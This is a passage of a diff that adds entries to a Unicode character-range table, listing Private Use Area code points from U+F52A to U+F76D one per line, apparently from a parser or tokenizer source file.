+ ["\uF52A", "\uF52A"], /* Private Use */
+ ["\uF52B", "\uF52B"], /* Private Use */
+ ["\uF52C", "\uF52C"], /* Private Use */
+ ["\uF52D", "\uF52D"], /* Private Use */
+ ["\uF52E", "\uF52E"], /* Private Use */
+ ["\uF52F", "\uF52F"], /* Private Use */
+ ["\uF530", "\uF530"], /* Private Use */
+ ["\uF531", "\uF531"], /* Private Use */
+ ["\uF532", "\uF532"], /* Private Use */
+ ["\uF533", "\uF533"], /* Private Use */
+ ["\uF534", "\uF534"], /* Private Use */
+ ["\uF535", "\uF535"], /* Private Use */
+ ["\uF536", "\uF536"], /* Private Use */
+ ["\uF537", "\uF537"], /* Private Use */
+ ["\uF538", "\uF538"], /* Private Use */
+ ["\uF539", "\uF539"], /* Private Use */
+ ["\uF53A", "\uF53A"], /* Private Use */
+ ["\uF53B", "\uF53B"], /* Private Use */
+ ["\uF53C", "\uF53C"], /* Private Use */
+ ["\uF53D", "\uF53D"], /* Private Use */
+ ["\uF53E", "\uF53E"], /* Private Use */
+ ["\uF53F", "\uF53F"], /* Private Use */
+ ["\uF540", "\uF540"], /* Private Use */
+ ["\uF541", "\uF541"], /* Private Use */
+ ["\uF542", "\uF542"], /* Private Use */
+ ["\uF543", "\uF543"], /* Private Use */
+ ["\uF544", "\uF544"], /* Private Use */
+ ["\uF545", "\uF545"], /* Private Use */
+ ["\uF546", "\uF546"], /* Private Use */
+ ["\uF547", "\uF547"], /* Private Use */
+ ["\uF548", "\uF548"], /* Private Use */
+ ["\uF549", "\uF549"], /* Private Use */
+ ["\uF54A", "\uF54A"], /* Private Use */
+ ["\uF54B", "\uF54B"], /* Private Use */
+ ["\uF54C", "\uF54C"], /* Private Use */
+ ["\uF54D", "\uF54D"], /* Private Use */
+ ["\uF54E", "\uF54E"], /* Private Use */
+ ["\uF54F", "\uF54F"], /* Private Use */
+ ["\uF550", "\uF550"], /* Private Use */
+ ["\uF551", "\uF551"], /* Private Use */
+ ["\uF552", "\uF552"], /* Private Use */
+ ["\uF553", "\uF553"], /* Private Use */
+ ["\uF554", "\uF554"], /* Private Use */
+ ["\uF555", "\uF555"], /* Private Use */
+ ["\uF556", "\uF556"], /* Private Use */
+ ["\uF557", "\uF557"], /* Private Use */
+ ["\uF558", "\uF558"], /* Private Use */
+ ["\uF559", "\uF559"], /* Private Use */
+ ["\uF55A", "\uF55A"], /* Private Use */
+ ["\uF55B", "\uF55B"], /* Private Use */
+ ["\uF55C", "\uF55C"], /* Private Use */
+ ["\uF55D", "\uF55D"], /* Private Use */
+ ["\uF55E", "\uF55E"], /* Private Use */
+ ["\uF55F", "\uF55F"], /* Private Use */
+ ["\uF560", "\uF560"], /* Private Use */
+ ["\uF561", "\uF561"], /* Private Use */
+ ["\uF562", "\uF562"], /* Private Use */
+ ["\uF563", "\uF563"], /* Private Use */
+ ["\uF564", "\uF564"], /* Private Use */
+ ["\uF565", "\uF565"], /* Private Use */
+ ["\uF566", "\uF566"], /* Private Use */
+ ["\uF567", "\uF567"], /* Private Use */
+ ["\uF568", "\uF568"], /* Private Use */
+ ["\uF569", "\uF569"], /* Private Use */
+ ["\uF56A", "\uF56A"], /* Private Use */
+ ["\uF56B", "\uF56B"], /* Private Use */
+ ["\uF56C", "\uF56C"], /* Private Use */
+ ["\uF56D", "\uF56D"], /* Private Use */
+ ["\uF56E", "\uF56E"], /* Private Use */
+ ["\uF56F", "\uF56F"], /* Private Use */
+ ["\uF570", "\uF570"], /* Private Use */
+ ["\uF571", "\uF571"], /* Private Use */
+ ["\uF572", "\uF572"], /* Private Use */
+ ["\uF573", "\uF573"], /* Private Use */
+ ["\uF574", "\uF574"], /* Private Use */
+ ["\uF575", "\uF575"], /* Private Use */
+ ["\uF576", "\uF576"], /* Private Use */
+ ["\uF577", "\uF577"], /* Private Use */
+ ["\uF578", "\uF578"], /* Private Use */
+ ["\uF579", "\uF579"], /* Private Use */
+ ["\uF57A", "\uF57A"], /* Private Use */
+ ["\uF57B", "\uF57B"], /* Private Use */
+ ["\uF57C", "\uF57C"], /* Private Use */
+ ["\uF57D", "\uF57D"], /* Private Use */
+ ["\uF57E", "\uF57E"], /* Private Use */
+ ["\uF57F", "\uF57F"], /* Private Use */
+ ["\uF580", "\uF580"], /* Private Use */
+ ["\uF581", "\uF581"], /* Private Use */
+ ["\uF582", "\uF582"], /* Private Use */
+ ["\uF583", "\uF583"], /* Private Use */
+ ["\uF584", "\uF584"], /* Private Use */
+ ["\uF585", "\uF585"], /* Private Use */
+ ["\uF586", "\uF586"], /* Private Use */
+ ["\uF587", "\uF587"], /* Private Use */
+ ["\uF588", "\uF588"], /* Private Use */
+ ["\uF589", "\uF589"], /* Private Use */
+ ["\uF58A", "\uF58A"], /* Private Use */
+ ["\uF58B", "\uF58B"], /* Private Use */
+ ["\uF58C", "\uF58C"], /* Private Use */
+ ["\uF58D", "\uF58D"], /* Private Use */
+ ["\uF58E", "\uF58E"], /* Private Use */
+ ["\uF58F", "\uF58F"], /* Private Use */
+ ["\uF590", "\uF590"], /* Private Use */
+ ["\uF591", "\uF591"], /* Private Use */
+ ["\uF592", "\uF592"], /* Private Use */
+ ["\uF593", "\uF593"], /* Private Use */
+ ["\uF594", "\uF594"], /* Private Use */
+ ["\uF595", "\uF595"], /* Private Use */
+ ["\uF596", "\uF596"], /* Private Use */
+ ["\uF597", "\uF597"], /* Private Use */
+ ["\uF598", "\uF598"], /* Private Use */
+ ["\uF599", "\uF599"], /* Private Use */
+ ["\uF59A", "\uF59A"], /* Private Use */
+ ["\uF59B", "\uF59B"], /* Private Use */
+ ["\uF59C", "\uF59C"], /* Private Use */
+ ["\uF59D", "\uF59D"], /* Private Use */
+ ["\uF59E", "\uF59E"], /* Private Use */
+ ["\uF59F", "\uF59F"], /* Private Use */
+ ["\uF5A0", "\uF5A0"], /* Private Use */
+ ["\uF5A1", "\uF5A1"], /* Private Use */
+ ["\uF5A2", "\uF5A2"], /* Private Use */
+ ["\uF5A3", "\uF5A3"], /* Private Use */
+ ["\uF5A4", "\uF5A4"], /* Private Use */
+ ["\uF5A5", "\uF5A5"], /* Private Use */
+ ["\uF5A6", "\uF5A6"], /* Private Use */
+ ["\uF5A7", "\uF5A7"], /* Private Use */
+ ["\uF5A8", "\uF5A8"], /* Private Use */
+ ["\uF5A9", "\uF5A9"], /* Private Use */
+ ["\uF5AA", "\uF5AA"], /* Private Use */
+ ["\uF5AB", "\uF5AB"], /* Private Use */
+ ["\uF5AC", "\uF5AC"], /* Private Use */
+ ["\uF5AD", "\uF5AD"], /* Private Use */
+ ["\uF5AE", "\uF5AE"], /* Private Use */
+ ["\uF5AF", "\uF5AF"], /* Private Use */
+ ["\uF5B0", "\uF5B0"], /* Private Use */
+ ["\uF5B1", "\uF5B1"], /* Private Use */
+ ["\uF5B2", "\uF5B2"], /* Private Use */
+ ["\uF5B3", "\uF5B3"], /* Private Use */
+ ["\uF5B4", "\uF5B4"], /* Private Use */
+ ["\uF5B5", "\uF5B5"], /* Private Use */
+ ["\uF5B6", "\uF5B6"], /* Private Use */
+ ["\uF5B7", "\uF5B7"], /* Private Use */
+ ["\uF5B8", "\uF5B8"], /* Private Use */
+ ["\uF5B9", "\uF5B9"], /* Private Use */
+ ["\uF5BA", "\uF5BA"], /* Private Use */
+ ["\uF5BB", "\uF5BB"], /* Private Use */
+ ["\uF5BC", "\uF5BC"], /* Private Use */
+ ["\uF5BD", "\uF5BD"], /* Private Use */
+ ["\uF5BE", "\uF5BE"], /* Private Use */
+ ["\uF5BF", "\uF5BF"], /* Private Use */
+ ["\uF5C0", "\uF5C0"], /* Private Use */
+ ["\uF5C1", "\uF5C1"], /* Private Use */
+ ["\uF5C2", "\uF5C2"], /* Private Use */
+ ["\uF5C3", "\uF5C3"], /* Private Use */
+ ["\uF5C4", "\uF5C4"], /* Private Use */
+ ["\uF5C5", "\uF5C5"], /* Private Use */
+ ["\uF5C6", "\uF5C6"], /* Private Use */
+ ["\uF5C7", "\uF5C7"], /* Private Use */
+ ["\uF5C8", "\uF5C8"], /* Private Use */
+ ["\uF5C9", "\uF5C9"], /* Private Use */
+ ["\uF5CA", "\uF5CA"], /* Private Use */
+ ["\uF5CB", "\uF5CB"], /* Private Use */
+ ["\uF5CC", "\uF5CC"], /* Private Use */
+ ["\uF5CD", "\uF5CD"], /* Private Use */
+ ["\uF5CE", "\uF5CE"], /* Private Use */
+ ["\uF5CF", "\uF5CF"], /* Private Use */
+ ["\uF5D0", "\uF5D0"], /* Private Use */
+ ["\uF5D1", "\uF5D1"], /* Private Use */
+ ["\uF5D2", "\uF5D2"], /* Private Use */
+ ["\uF5D3", "\uF5D3"], /* Private Use */
+ ["\uF5D4", "\uF5D4"], /* Private Use */
+ ["\uF5D5", "\uF5D5"], /* Private Use */
+ ["\uF5D6", "\uF5D6"], /* Private Use */
+ ["\uF5D7", "\uF5D7"], /* Private Use */
+ ["\uF5D8", "\uF5D8"], /* Private Use */
+ ["\uF5D9", "\uF5D9"], /* Private Use */
+ ["\uF5DA", "\uF5DA"], /* Private Use */
+ ["\uF5DB", "\uF5DB"], /* Private Use */
+ ["\uF5DC", "\uF5DC"], /* Private Use */
+ ["\uF5DD", "\uF5DD"], /* Private Use */
+ ["\uF5DE", "\uF5DE"], /* Private Use */
+ ["\uF5DF", "\uF5DF"], /* Private Use */
+ ["\uF5E0", "\uF5E0"], /* Private Use */
+ ["\uF5E1", "\uF5E1"], /* Private Use */
+ ["\uF5E2", "\uF5E2"], /* Private Use */
+ ["\uF5E3", "\uF5E3"], /* Private Use */
+ ["\uF5E4", "\uF5E4"], /* Private Use */
+ ["\uF5E5", "\uF5E5"], /* Private Use */
+ ["\uF5E6", "\uF5E6"], /* Private Use */
+ ["\uF5E7", "\uF5E7"], /* Private Use */
+ ["\uF5E8", "\uF5E8"], /* Private Use */
+ ["\uF5E9", "\uF5E9"], /* Private Use */
+ ["\uF5EA", "\uF5EA"], /* Private Use */
+ ["\uF5EB", "\uF5EB"], /* Private Use */
+ ["\uF5EC", "\uF5EC"], /* Private Use */
+ ["\uF5ED", "\uF5ED"], /* Private Use */
+ ["\uF5EE", "\uF5EE"], /* Private Use */
+ ["\uF5EF", "\uF5EF"], /* Private Use */
+ ["\uF5F0", "\uF5F0"], /* Private Use */
+ ["\uF5F1", "\uF5F1"], /* Private Use */
+ ["\uF5F2", "\uF5F2"], /* Private Use */
+ ["\uF5F3", "\uF5F3"], /* Private Use */
+ ["\uF5F4", "\uF5F4"], /* Private Use */
+ ["\uF5F5", "\uF5F5"], /* Private Use */
+ ["\uF5F6", "\uF5F6"], /* Private Use */
+ ["\uF5F7", "\uF5F7"], /* Private Use */
+ ["\uF5F8", "\uF5F8"], /* Private Use */
+ ["\uF5F9", "\uF5F9"], /* Private Use */
+ ["\uF5FA", "\uF5FA"], /* Private Use */
+ ["\uF5FB", "\uF5FB"], /* Private Use */
+ ["\uF5FC", "\uF5FC"], /* Private Use */
+ ["\uF5FD", "\uF5FD"], /* Private Use */
+ ["\uF5FE", "\uF5FE"], /* Private Use */
+ ["\uF5FF", "\uF5FF"], /* Private Use */
+ ["\uF600", "\uF600"], /* Private Use */
+ ["\uF601", "\uF601"], /* Private Use */
+ ["\uF602", "\uF602"], /* Private Use */
+ ["\uF603", "\uF603"], /* Private Use */
+ ["\uF604", "\uF604"], /* Private Use */
+ ["\uF605", "\uF605"], /* Private Use */
+ ["\uF606", "\uF606"], /* Private Use */
+ ["\uF607", "\uF607"], /* Private Use */
+ ["\uF608", "\uF608"], /* Private Use */
+ ["\uF609", "\uF609"], /* Private Use */
+ ["\uF60A", "\uF60A"], /* Private Use */
+ ["\uF60B", "\uF60B"], /* Private Use */
+ ["\uF60C", "\uF60C"], /* Private Use */
+ ["\uF60D", "\uF60D"], /* Private Use */
+ ["\uF60E", "\uF60E"], /* Private Use */
+ ["\uF60F", "\uF60F"], /* Private Use */
+ ["\uF610", "\uF610"], /* Private Use */
+ ["\uF611", "\uF611"], /* Private Use */
+ ["\uF612", "\uF612"], /* Private Use */
+ ["\uF613", "\uF613"], /* Private Use */
+ ["\uF614", "\uF614"], /* Private Use */
+ ["\uF615", "\uF615"], /* Private Use */
+ ["\uF616", "\uF616"], /* Private Use */
+ ["\uF617", "\uF617"], /* Private Use */
+ ["\uF618", "\uF618"], /* Private Use */
+ ["\uF619", "\uF619"], /* Private Use */
+ ["\uF61A", "\uF61A"], /* Private Use */
+ ["\uF61B", "\uF61B"], /* Private Use */
+ ["\uF61C", "\uF61C"], /* Private Use */
+ ["\uF61D", "\uF61D"], /* Private Use */
+ ["\uF61E", "\uF61E"], /* Private Use */
+ ["\uF61F", "\uF61F"], /* Private Use */
+ ["\uF620", "\uF620"], /* Private Use */
+ ["\uF621", "\uF621"], /* Private Use */
+ ["\uF622", "\uF622"], /* Private Use */
+ ["\uF623", "\uF623"], /* Private Use */
+ ["\uF624", "\uF624"], /* Private Use */
+ ["\uF625", "\uF625"], /* Private Use */
+ ["\uF626", "\uF626"], /* Private Use */
+ ["\uF627", "\uF627"], /* Private Use */
+ ["\uF628", "\uF628"], /* Private Use */
+ ["\uF629", "\uF629"], /* Private Use */
+ ["\uF62A", "\uF62A"], /* Private Use */
+ ["\uF62B", "\uF62B"], /* Private Use */
+ ["\uF62C", "\uF62C"], /* Private Use */
+ ["\uF62D", "\uF62D"], /* Private Use */
+ ["\uF62E", "\uF62E"], /* Private Use */
+ ["\uF62F", "\uF62F"], /* Private Use */
+ ["\uF630", "\uF630"], /* Private Use */
+ ["\uF631", "\uF631"], /* Private Use */
+ ["\uF632", "\uF632"], /* Private Use */
+ ["\uF633", "\uF633"], /* Private Use */
+ ["\uF634", "\uF634"], /* Private Use */
+ ["\uF635", "\uF635"], /* Private Use */
+ ["\uF636", "\uF636"], /* Private Use */
+ ["\uF637", "\uF637"], /* Private Use */
+ ["\uF638", "\uF638"], /* Private Use */
+ ["\uF639", "\uF639"], /* Private Use */
+ ["\uF63A", "\uF63A"], /* Private Use */
+ ["\uF63B", "\uF63B"], /* Private Use */
+ ["\uF63C", "\uF63C"], /* Private Use */
+ ["\uF63D", "\uF63D"], /* Private Use */
+ ["\uF63E", "\uF63E"], /* Private Use */
+ ["\uF63F", "\uF63F"], /* Private Use */
+ ["\uF640", "\uF640"], /* Private Use */
+ ["\uF641", "\uF641"], /* Private Use */
+ ["\uF642", "\uF642"], /* Private Use */
+ ["\uF643", "\uF643"], /* Private Use */
+ ["\uF644", "\uF644"], /* Private Use */
+ ["\uF645", "\uF645"], /* Private Use */
+ ["\uF646", "\uF646"], /* Private Use */
+ ["\uF647", "\uF647"], /* Private Use */
+ ["\uF648", "\uF648"], /* Private Use */
+ ["\uF649", "\uF649"], /* Private Use */
+ ["\uF64A", "\uF64A"], /* Private Use */
+ ["\uF64B", "\uF64B"], /* Private Use */
+ ["\uF64C", "\uF64C"], /* Private Use */
+ ["\uF64D", "\uF64D"], /* Private Use */
+ ["\uF64E", "\uF64E"], /* Private Use */
+ ["\uF64F", "\uF64F"], /* Private Use */
+ ["\uF650", "\uF650"], /* Private Use */
+ ["\uF651", "\uF651"], /* Private Use */
+ ["\uF652", "\uF652"], /* Private Use */
+ ["\uF653", "\uF653"], /* Private Use */
+ ["\uF654", "\uF654"], /* Private Use */
+ ["\uF655", "\uF655"], /* Private Use */
+ ["\uF656", "\uF656"], /* Private Use */
+ ["\uF657", "\uF657"], /* Private Use */
+ ["\uF658", "\uF658"], /* Private Use */
+ ["\uF659", "\uF659"], /* Private Use */
+ ["\uF65A", "\uF65A"], /* Private Use */
+ ["\uF65B", "\uF65B"], /* Private Use */
+ ["\uF65C", "\uF65C"], /* Private Use */
+ ["\uF65D", "\uF65D"], /* Private Use */
+ ["\uF65E", "\uF65E"], /* Private Use */
+ ["\uF65F", "\uF65F"], /* Private Use */
+ ["\uF660", "\uF660"], /* Private Use */
+ ["\uF661", "\uF661"], /* Private Use */
+ ["\uF662", "\uF662"], /* Private Use */
+ ["\uF663", "\uF663"], /* Private Use */
+ ["\uF664", "\uF664"], /* Private Use */
+ ["\uF665", "\uF665"], /* Private Use */
+ ["\uF666", "\uF666"], /* Private Use */
+ ["\uF667", "\uF667"], /* Private Use */
+ ["\uF668", "\uF668"], /* Private Use */
+ ["\uF669", "\uF669"], /* Private Use */
+ ["\uF66A", "\uF66A"], /* Private Use */
+ ["\uF66B", "\uF66B"], /* Private Use */
+ ["\uF66C", "\uF66C"], /* Private Use */
+ ["\uF66D", "\uF66D"], /* Private Use */
+ ["\uF66E", "\uF66E"], /* Private Use */
+ ["\uF66F", "\uF66F"], /* Private Use */
+ ["\uF670", "\uF670"], /* Private Use */
+ ["\uF671", "\uF671"], /* Private Use */
+ ["\uF672", "\uF672"], /* Private Use */
+ ["\uF673", "\uF673"], /* Private Use */
+ ["\uF674", "\uF674"], /* Private Use */
+ ["\uF675", "\uF675"], /* Private Use */
+ ["\uF676", "\uF676"], /* Private Use */
+ ["\uF677", "\uF677"], /* Private Use */
+ ["\uF678", "\uF678"], /* Private Use */
+ ["\uF679", "\uF679"], /* Private Use */
+ ["\uF67A", "\uF67A"], /* Private Use */
+ ["\uF67B", "\uF67B"], /* Private Use */
+ ["\uF67C", "\uF67C"], /* Private Use */
+ ["\uF67D", "\uF67D"], /* Private Use */
+ ["\uF67E", "\uF67E"], /* Private Use */
+ ["\uF67F", "\uF67F"], /* Private Use */
+ ["\uF680", "\uF680"], /* Private Use */
+ ["\uF681", "\uF681"], /* Private Use */
+ ["\uF682", "\uF682"], /* Private Use */
+ ["\uF683", "\uF683"], /* Private Use */
+ ["\uF684", "\uF684"], /* Private Use */
+ ["\uF685", "\uF685"], /* Private Use */
+ ["\uF686", "\uF686"], /* Private Use */
+ ["\uF687", "\uF687"], /* Private Use */
+ ["\uF688", "\uF688"], /* Private Use */
+ ["\uF689", "\uF689"], /* Private Use */
+ ["\uF68A", "\uF68A"], /* Private Use */
+ ["\uF68B", "\uF68B"], /* Private Use */
+ ["\uF68C", "\uF68C"], /* Private Use */
+ ["\uF68D", "\uF68D"], /* Private Use */
+ ["\uF68E", "\uF68E"], /* Private Use */
+ ["\uF68F", "\uF68F"], /* Private Use */
+ ["\uF690", "\uF690"], /* Private Use */
+ ["\uF691", "\uF691"], /* Private Use */
+ ["\uF692", "\uF692"], /* Private Use */
+ ["\uF693", "\uF693"], /* Private Use */
+ ["\uF694", "\uF694"], /* Private Use */
+ ["\uF695", "\uF695"], /* Private Use */
+ ["\uF696", "\uF696"], /* Private Use */
+ ["\uF697", "\uF697"], /* Private Use */
+ ["\uF698", "\uF698"], /* Private Use */
+ ["\uF699", "\uF699"], /* Private Use */
+ ["\uF69A", "\uF69A"], /* Private Use */
+ ["\uF69B", "\uF69B"], /* Private Use */
+ ["\uF69C", "\uF69C"], /* Private Use */
+ ["\uF69D", "\uF69D"], /* Private Use */
+ ["\uF69E", "\uF69E"], /* Private Use */
+ ["\uF69F", "\uF69F"], /* Private Use */
+ ["\uF6A0", "\uF6A0"], /* Private Use */
+ ["\uF6A1", "\uF6A1"], /* Private Use */
+ ["\uF6A2", "\uF6A2"], /* Private Use */
+ ["\uF6A3", "\uF6A3"], /* Private Use */
+ ["\uF6A4", "\uF6A4"], /* Private Use */
+ ["\uF6A5", "\uF6A5"], /* Private Use */
+ ["\uF6A6", "\uF6A6"], /* Private Use */
+ ["\uF6A7", "\uF6A7"], /* Private Use */
+ ["\uF6A8", "\uF6A8"], /* Private Use */
+ ["\uF6A9", "\uF6A9"], /* Private Use */
+ ["\uF6AA", "\uF6AA"], /* Private Use */
+ ["\uF6AB", "\uF6AB"], /* Private Use */
+ ["\uF6AC", "\uF6AC"], /* Private Use */
+ ["\uF6AD", "\uF6AD"], /* Private Use */
+ ["\uF6AE", "\uF6AE"], /* Private Use */
+ ["\uF6AF", "\uF6AF"], /* Private Use */
+ ["\uF6B0", "\uF6B0"], /* Private Use */
+ ["\uF6B1", "\uF6B1"], /* Private Use */
+ ["\uF6B2", "\uF6B2"], /* Private Use */
+ ["\uF6B3", "\uF6B3"], /* Private Use */
+ ["\uF6B4", "\uF6B4"], /* Private Use */
+ ["\uF6B5", "\uF6B5"], /* Private Use */
+ ["\uF6B6", "\uF6B6"], /* Private Use */
+ ["\uF6B7", "\uF6B7"], /* Private Use */
+ ["\uF6B8", "\uF6B8"], /* Private Use */
+ ["\uF6B9", "\uF6B9"], /* Private Use */
+ ["\uF6BA", "\uF6BA"], /* Private Use */
+ ["\uF6BB", "\uF6BB"], /* Private Use */
+ ["\uF6BC", "\uF6BC"], /* Private Use */
+ ["\uF6BD", "\uF6BD"], /* Private Use */
+ ["\uF6BE", "\uF6BE"], /* Private Use */
+ ["\uF6BF", "\uF6BF"], /* Private Use */
+ ["\uF6C0", "\uF6C0"], /* Private Use */
+ ["\uF6C1", "\uF6C1"], /* Private Use */
+ ["\uF6C2", "\uF6C2"], /* Private Use */
+ ["\uF6C3", "\uF6C3"], /* Private Use */
+ ["\uF6C4", "\uF6C4"], /* Private Use */
+ ["\uF6C5", "\uF6C5"], /* Private Use */
+ ["\uF6C6", "\uF6C6"], /* Private Use */
+ ["\uF6C7", "\uF6C7"], /* Private Use */
+ ["\uF6C8", "\uF6C8"], /* Private Use */
+ ["\uF6C9", "\uF6C9"], /* Private Use */
+ ["\uF6CA", "\uF6CA"], /* Private Use */
+ ["\uF6CB", "\uF6CB"], /* Private Use */
+ ["\uF6CC", "\uF6CC"], /* Private Use */
+ ["\uF6CD", "\uF6CD"], /* Private Use */
+ ["\uF6CE", "\uF6CE"], /* Private Use */
+ ["\uF6CF", "\uF6CF"], /* Private Use */
+ ["\uF6D0", "\uF6D0"], /* Private Use */
+ ["\uF6D1", "\uF6D1"], /* Private Use */
+ ["\uF6D2", "\uF6D2"], /* Private Use */
+ ["\uF6D3", "\uF6D3"], /* Private Use */
+ ["\uF6D4", "\uF6D4"], /* Private Use */
+ ["\uF6D5", "\uF6D5"], /* Private Use */
+ ["\uF6D6", "\uF6D6"], /* Private Use */
+ ["\uF6D7", "\uF6D7"], /* Private Use */
+ ["\uF6D8", "\uF6D8"], /* Private Use */
+ ["\uF6D9", "\uF6D9"], /* Private Use */
+ ["\uF6DA", "\uF6DA"], /* Private Use */
+ ["\uF6DB", "\uF6DB"], /* Private Use */
+ ["\uF6DC", "\uF6DC"], /* Private Use */
+ ["\uF6DD", "\uF6DD"], /* Private Use */
+ ["\uF6DE", "\uF6DE"], /* Private Use */
+ ["\uF6DF", "\uF6DF"], /* Private Use */
+ ["\uF6E0", "\uF6E0"], /* Private Use */
+ ["\uF6E1", "\uF6E1"], /* Private Use */
+ ["\uF6E2", "\uF6E2"], /* Private Use */
+ ["\uF6E3", "\uF6E3"], /* Private Use */
+ ["\uF6E4", "\uF6E4"], /* Private Use */
+ ["\uF6E5", "\uF6E5"], /* Private Use */
+ ["\uF6E6", "\uF6E6"], /* Private Use */
+ ["\uF6E7", "\uF6E7"], /* Private Use */
+ ["\uF6E8", "\uF6E8"], /* Private Use */
+ ["\uF6E9", "\uF6E9"], /* Private Use */
+ ["\uF6EA", "\uF6EA"], /* Private Use */
+ ["\uF6EB", "\uF6EB"], /* Private Use */
+ ["\uF6EC", "\uF6EC"], /* Private Use */
+ ["\uF6ED", "\uF6ED"], /* Private Use */
+ ["\uF6EE", "\uF6EE"], /* Private Use */
+ ["\uF6EF", "\uF6EF"], /* Private Use */
+ ["\uF6F0", "\uF6F0"], /* Private Use */
+ ["\uF6F1", "\uF6F1"], /* Private Use */
+ ["\uF6F2", "\uF6F2"], /* Private Use */
+ ["\uF6F3", "\uF6F3"], /* Private Use */
+ ["\uF6F4", "\uF6F4"], /* Private Use */
+ ["\uF6F5", "\uF6F5"], /* Private Use */
+ ["\uF6F6", "\uF6F6"], /* Private Use */
+ ["\uF6F7", "\uF6F7"], /* Private Use */
+ ["\uF6F8", "\uF6F8"], /* Private Use */
+ ["\uF6F9", "\uF6F9"], /* Private Use */
+ ["\uF6FA", "\uF6FA"], /* Private Use */
+ ["\uF6FB", "\uF6FB"], /* Private Use */
+ ["\uF6FC", "\uF6FC"], /* Private Use */
+ ["\uF6FD", "\uF6FD"], /* Private Use */
+ ["\uF6FE", "\uF6FE"], /* Private Use */
+ ["\uF6FF", "\uF6FF"], /* Private Use */
+ ["\uF700", "\uF700"], /* Private Use */
+ ["\uF701", "\uF701"], /* Private Use */
+ ["\uF702", "\uF702"], /* Private Use */
+ ["\uF703", "\uF703"], /* Private Use */
+ ["\uF704", "\uF704"], /* Private Use */
+ ["\uF705", "\uF705"], /* Private Use */
+ ["\uF706", "\uF706"], /* Private Use */
+ ["\uF707", "\uF707"], /* Private Use */
+ ["\uF708", "\uF708"], /* Private Use */
+ ["\uF709", "\uF709"], /* Private Use */
+ ["\uF70A", "\uF70A"], /* Private Use */
+ ["\uF70B", "\uF70B"], /* Private Use */
+ ["\uF70C", "\uF70C"], /* Private Use */
+ ["\uF70D", "\uF70D"], /* Private Use */
+ ["\uF70E", "\uF70E"], /* Private Use */
+ ["\uF70F", "\uF70F"], /* Private Use */
+ ["\uF710", "\uF710"], /* Private Use */
+ ["\uF711", "\uF711"], /* Private Use */
+ ["\uF712", "\uF712"], /* Private Use */
+ ["\uF713", "\uF713"], /* Private Use */
+ ["\uF714", "\uF714"], /* Private Use */
+ ["\uF715", "\uF715"], /* Private Use */
+ ["\uF716", "\uF716"], /* Private Use */
+ ["\uF717", "\uF717"], /* Private Use */
+ ["\uF718", "\uF718"], /* Private Use */
+ ["\uF719", "\uF719"], /* Private Use */
+ ["\uF71A", "\uF71A"], /* Private Use */
+ ["\uF71B", "\uF71B"], /* Private Use */
+ ["\uF71C", "\uF71C"], /* Private Use */
+ ["\uF71D", "\uF71D"], /* Private Use */
+ ["\uF71E", "\uF71E"], /* Private Use */
+ ["\uF71F", "\uF71F"], /* Private Use */
+ ["\uF720", "\uF720"], /* Private Use */
+ ["\uF721", "\uF721"], /* Private Use */
+ ["\uF722", "\uF722"], /* Private Use */
+ ["\uF723", "\uF723"], /* Private Use */
+ ["\uF724", "\uF724"], /* Private Use */
+ ["\uF725", "\uF725"], /* Private Use */
+ ["\uF726", "\uF726"], /* Private Use */
+ ["\uF727", "\uF727"], /* Private Use */
+ ["\uF728", "\uF728"], /* Private Use */
+ ["\uF729", "\uF729"], /* Private Use */
+ ["\uF72A", "\uF72A"], /* Private Use */
+ ["\uF72B", "\uF72B"], /* Private Use */
+ ["\uF72C", "\uF72C"], /* Private Use */
+ ["\uF72D", "\uF72D"], /* Private Use */
+ ["\uF72E", "\uF72E"], /* Private Use */
+ ["\uF72F", "\uF72F"], /* Private Use */
+ ["\uF730", "\uF730"], /* Private Use */
+ ["\uF731", "\uF731"], /* Private Use */
+ ["\uF732", "\uF732"], /* Private Use */
+ ["\uF733", "\uF733"], /* Private Use */
+ ["\uF734", "\uF734"], /* Private Use */
+ ["\uF735", "\uF735"], /* Private Use */
+ ["\uF736", "\uF736"], /* Private Use */
+ ["\uF737", "\uF737"], /* Private Use */
+ ["\uF738", "\uF738"], /* Private Use */
+ ["\uF739", "\uF739"], /* Private Use */
+ ["\uF73A", "\uF73A"], /* Private Use */
+ ["\uF73B", "\uF73B"], /* Private Use */
+ ["\uF73C", "\uF73C"], /* Private Use */
+ ["\uF73D", "\uF73D"], /* Private Use */
+ ["\uF73E", "\uF73E"], /* Private Use */
+ ["\uF73F", "\uF73F"], /* Private Use */
+ ["\uF740", "\uF740"], /* Private Use */
+ ["\uF741", "\uF741"], /* Private Use */
+ ["\uF742", "\uF742"], /* Private Use */
+ ["\uF743", "\uF743"], /* Private Use */
+ ["\uF744", "\uF744"], /* Private Use */
+ ["\uF745", "\uF745"], /* Private Use */
+ ["\uF746", "\uF746"], /* Private Use */
+ ["\uF747", "\uF747"], /* Private Use */
+ ["\uF748", "\uF748"], /* Private Use */
+ ["\uF749", "\uF749"], /* Private Use */
+ ["\uF74A", "\uF74A"], /* Private Use */
+ ["\uF74B", "\uF74B"], /* Private Use */
+ ["\uF74C", "\uF74C"], /* Private Use */
+ ["\uF74D", "\uF74D"], /* Private Use */
+ ["\uF74E", "\uF74E"], /* Private Use */
+ ["\uF74F", "\uF74F"], /* Private Use */
+ ["\uF750", "\uF750"], /* Private Use */
+ ["\uF751", "\uF751"], /* Private Use */
+ ["\uF752", "\uF752"], /* Private Use */
+ ["\uF753", "\uF753"], /* Private Use */
+ ["\uF754", "\uF754"], /* Private Use */
+ ["\uF755", "\uF755"], /* Private Use */
+ ["\uF756", "\uF756"], /* Private Use */
+ ["\uF757", "\uF757"], /* Private Use */
+ ["\uF758", "\uF758"], /* Private Use */
+ ["\uF759", "\uF759"], /* Private Use */
+ ["\uF75A", "\uF75A"], /* Private Use */
+ ["\uF75B", "\uF75B"], /* Private Use */
+ ["\uF75C", "\uF75C"], /* Private Use */
+ ["\uF75D", "\uF75D"], /* Private Use */
+ ["\uF75E", "\uF75E"], /* Private Use */
+ ["\uF75F", "\uF75F"], /* Private Use */
+ ["\uF760", "\uF760"], /* Private Use */
+ ["\uF761", "\uF761"], /* Private Use */
+ ["\uF762", "\uF762"], /* Private Use */
+ ["\uF763", "\uF763"], /* Private Use */
+ ["\uF764", "\uF764"], /* Private Use */
+ ["\uF765", "\uF765"], /* Private Use */
+ ["\uF766", "\uF766"], /* Private Use */
+ ["\uF767", "\uF767"], /* Private Use */
+ ["\uF768", "\uF768"], /* Private Use */
+ ["\uF769", "\uF769"], /* Private Use */
+ ["\uF76A", "\uF76A"], /* Private Use */
+ ["\uF76B", "\uF76B"], /* Private Use */
+ ["\uF76C", "\uF76C"], /* Private Use */
+ ["\uF76D", "\uF76D"], /* Private Use */
